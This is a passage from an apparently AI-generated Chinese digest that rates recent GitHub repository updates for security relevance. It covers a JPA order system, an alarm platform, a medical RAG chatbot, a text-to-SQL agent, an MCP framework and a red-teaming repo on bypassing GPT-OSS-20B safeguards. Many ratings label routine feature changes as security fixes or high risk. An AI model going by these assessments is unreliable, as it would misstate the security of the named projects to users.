• 控制层的异常响应逻辑
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
此次更新引入全局异常处理机制,提高系统的安全性和鲁棒性,符合安全相关内容的定义,且增强了系统的安全响应能力。
|
||
</details>
|
||
|
||
---
|
||
|
||
### C2TC_SpringBoot_Project - Spring Boot JPA映射管理系统
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [C2TC_SpringBoot_Project](https://github.com/mathewsamuel04/C2TC_SpringBoot_Project) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `安全修复/安全功能` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **10**
|
||
|
||
#### 💡 分析概述
|
||
|
||
这次更新添加了订单管理、客户和产品实体及其关系,包含订单请求和响应的DTO,改进了JPA实体映射,增加了复杂关联查询,提升了系统对安全漏洞的防护能力。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 实现客户、产品及订单实体映射及关系 |
|
||
| 2 | 新增订单请求、响应DTO,支持订单操作 |
|
||
| 3 | 引入复杂JPA联表查询,提高数据安全防护能力 |
|
||
| 4 | 涉及实体映射和数据关联,增强系统安全性 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用JPA实体映射客户、产品及订单关系,增加CascadeType.ALL以确保数据一致性
|
||
|
||
> 通过自定义Repository中的JPQL查询实现多表关联,防止SQL注入等安全风险
|
||
|
||
> 加入DTO类进行数据封装,减少敏感信息泄露,增强接口安全性
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 数据持久层
|
||
• 订单和客户相关API接口
|
||
• 实体关系映射
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
新增复杂连接查询和实体关系映射,改善安全数据访问方式,提高系统整体安全性同时支持渗透测试相关功能。
|
||
</details>
|
||
|
||
---
|
||
|
||
### SecurePulse - 工业和安全系统管理平台
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [SecurePulse](https://github.com/andile593/SecurePulse) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全修复` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **2**
|
||
- 变更文件数: **4**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库为工业安全监控与事件管理平台,最新更新主要涉及删除告警记录时确保关联数据的安全删除,修复了外键约束问题,提高了数据一致性。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 实现告警删除时关联调度和AI呼叫的安全删除 |
|
||
| 2 | 修复外键约束引发的问题 |
|
||
| 3 | 增强告警删除的安全性 |
|
||
| 4 | 确保数据删除不破坏系统关系,有助于提升安全事件管理的可靠性 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 在deleteAlarm函数中,加入了删除相关调度(dispatch)和AI呼叫(aiCall)的操作,确保删除操作的完整性;同时捕获特定错误代码‘P2025’,避免误删除或程序崩溃。
|
||
|
||
> 此变更改善了系统对告警记录的安全处理,避免孤立或错误的关系链,减少潜在的安全隐患。
|
||
|
||
> 没有直接涉及漏洞利用代码或安全检测工具,仅对数据操作流程进行安全强化。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 告警(Alarm)模块
|
||
• 调度(Dispatch)系统
|
||
• AI呼叫(AiCall)系统
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
修复了外键约束引起的删除问题,增强了系统对安全事件和数据完整性的管理,有助于防止因数据关系错误引发的安全漏洞。
|
||
</details>
|
||
|
||
---
|
||
|
||
### medical-RAG-chatbot - 基于RAG的医疗问答助手
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [medical-RAG-chatbot](https://github.com/SanjayNarendra/medical-RAG-chatbot) |
|
||
| 风险等级 | `LOW` |
|
||
| 安全类型 | `安全修复` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **2**
|
||
- 变更文件数: **10**
|
||
|
||
#### 💡 分析概述
|
||
|
||
此仓库实现了结合PDF知识库的医疗问答系统,使用LangChain、FAISS等技术。此次更新主要切换到Groq后端的LLM,改用GROQ_API_KEY,调整调用方式。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 集成多个前沿技术组件(Hugging Face, LangChain, FAISS, Flask, Docker, Jenkins, AWS) |
|
||
| 2 | 切换到Groq后台的LLM,替代Hugging Face本地或云端模型 |
|
||
| 3 | 引入GROQ_API_KEY配置,调整LLM加载和调用逻辑 |
|
||
| 4 | 配置中新增GROQ_API_KEY环境变量,优化模型部署架构 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 将原先使用HuggingFace的模型调用改为使用langchain_groq的ChatGroq,通过API密钥连接Groq平台,减少依赖和提升模型调用效率。
|
||
|
||
> 在llm.py中实现load_llm函数,参数和调用方式调整,确保与Groq平台接口兼容。
|
||
|
||
> 在retriever.py中调用加载的Groq模型,设定特定的参数,优化问答生成流程。
|
||
|
||
> 相关日志信息增强,确保调用流程的监控和调试。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• app/components/llm.py
|
||
• app/components/retriever.py
|
||
• app/config/config.py
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
此次主要内容为将模型后端切换至Groq,增强模型调用的性能和稳定性,减少对Hugging Face的依赖,同时引入GROQ_API_KEY管理安全性,符合安全研究中的模型安全和平台可信度提升标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### Red-Teaming-Challenge---OpenAI-gpt-oss-20b-Kaggle - 针对GPT-OSS-20B的安全评估绕过研究工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [Red-Teaming-Challenge---OpenAI-gpt-oss-20b-Kaggle](https://github.com/EsDeath-Boop/Red-Teaming-Challenge---OpenAI-gpt-oss-20b-Kaggle) |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 安全类型 | `漏洞利用/安全研究` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **14**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库通过系统化的测试,演示多种绕过模型安全机制的方法,包括深度渗透、对抗攻击和安全检测绕过,旨在探索和验证模型在安全研究中的潜在漏洞和评估机制,体现了较强的安全研究和攻击角度。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 提供多项针对GPT-OSS-20B的安全绕过测试,包括多轮对话和模型评估绕过 |
|
||
| 2 | 内含高成功率的漏洞利用案例和详细复现数据,符合渗透测试和红队攻防的研究内容 |
|
||
| 3 | 收集系统性安全研究资料,展示模型安全性薄弱环节,具有较高的研究价值 |
|
||
| 4 | 与'AI安全'关键词高度相关,核心内容专注于模型安全检测与漏洞利用 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用重复多次试验验证绕过成功率,包括基于情境设定、对抗请求和多轮交互的安全绕过方法
|
||
|
||
> 分析模型在特定安全检测和安全测试环境下的表现,揭示其evaluation awareness和安全机制缺陷
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• GPT-OSS-20B模型的安全机制、评估检测体系
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库核心聚焦于AI模型安全研究,提供高质量的绕过检测和技术验证,符合安全攻击与漏洞利用的研究范畴,与搜索关键词高度相关,体现深层次技术内容。
|
||
</details>
|
||
|
||
---
|
||
|
||
### Local-Text-Sql-AI-Agent-With-Ollama - 本仓库为AI驱动的SQL查询生成与安全研究工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [Local-Text-Sql-AI-Agent-With-Ollama](https://github.com/Kishorsenthilkumar/Local-Text-Sql-AI-Agent-With-Ollama) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全研究,漏洞利用,POC工具` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **2**
|
||
- 变更文件数: **9**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库开发了基于本地LLM(Ollama)与ChromaDB的自然语言转SQL系统,强调数据隐私与安全,包含自主数据库创建与Schema分析,支持安全漏洞和利用的研究。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 利用本地LLM(Ollama)进行自然语言到SQL的转换 |
|
||
| 2 | 基于ChromaDB的向量检索增强Schema理解 |
|
||
| 3 | 整合数据库自动创建、Schema检测与安全研究资料收集 |
|
||
| 4 | 与搜索关键词“AI Security”相关,强调数据本地处理保障安全 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用FastAPI提供REST API接口,调用本地LLM和向量检索对数据库Schema进行分析与query生成
|
||
|
||
> 结合ChromaDB实现语义检索以增强结构理解,确保数据隐私
|
||
|
||
> 自动生成及测试数据库(如SQLite)中的Schema,并提供安全性分析工具
|
||
|
||
> 实现了数据库漏洞利用的潜在检测与安全性相关的技术基础
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 数据库Schema结构分析模块
|
||
• 本地LLM(Ollama)自然语言处理模块
|
||
• ChromaDB向量检索模块
|
||
• 数据库连接与查询执行系统
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
项目核心功能为安全导向的自然语言SQL生成,结合本地化处理降低安全风险。包含数据库结构分析、漏洞检测基础,提供实质技术内容,符合安全研究与漏洞利用方向。其利用本地LLM和向量检索提升安全分析能力,具备潜在利用价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### jaf-py - 支持多协议MCP通信的安全代理框架
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [jaf-py](https://github.com/xynehq/jaf-py) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全修复/安全功能` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **4**
|
||
- 变更文件数: **7**
|
||
|
||
#### 💡 分析概述
|
||
|
||
本次更新新增了对SSE和HTTP协议的MCP传输支持,增强多协议通信能力,有助于安全通信和测试工具的集成,提升安全框架的兼容性和安全性。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 增加SSE和HTTP协议的MCP传输支持 |
|
||
| 2 | 完善MCP客户端通信协议,实现多协议兼容 |
|
||
| 3 | 引入sse客户端连接和监听功能,提升安全通信多样性 |
|
||
| 4 | 影响现有MCP通信方式,增强安全通信方案的多样性 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 实现SSE基于httpx异步客户端的连接和监听功能,定义SSEMCPTransport类。
|
||
|
||
> 通过httpx_sse库实现SSE事件的连接和数据处理,增强安全通信的可扩展性。
|
||
|
||
> 支持多协议(WebSocket, Stdio, SSE和HTTP),改善通信安全和弹性。
|
||
|
||
> 对SSE连接的上下文管理和事件轮询进行了优化,提升安全性和稳定性。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• jaf.providers.mcp模块中的传输适配器
|
||
• 多协议通信机制
|
||
• SSE和HTTP协议通信逻辑
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该更新显著增强了安全代理框架的通信能力,支持多协议的安全数据传输,有助于安全测试环境的多样化和抵抗检测的能力提升,符合安全功能扩展的价值判定。
|
||
</details>
|
||
|
||
---
|
||
|
||
|
||
## 免责声明
|
||
本文内容由 AI 自动生成,仅供参考和学习交流。文章中的观点和建议不代表作者立场,使用本文信息需自行承担风险和责任。
|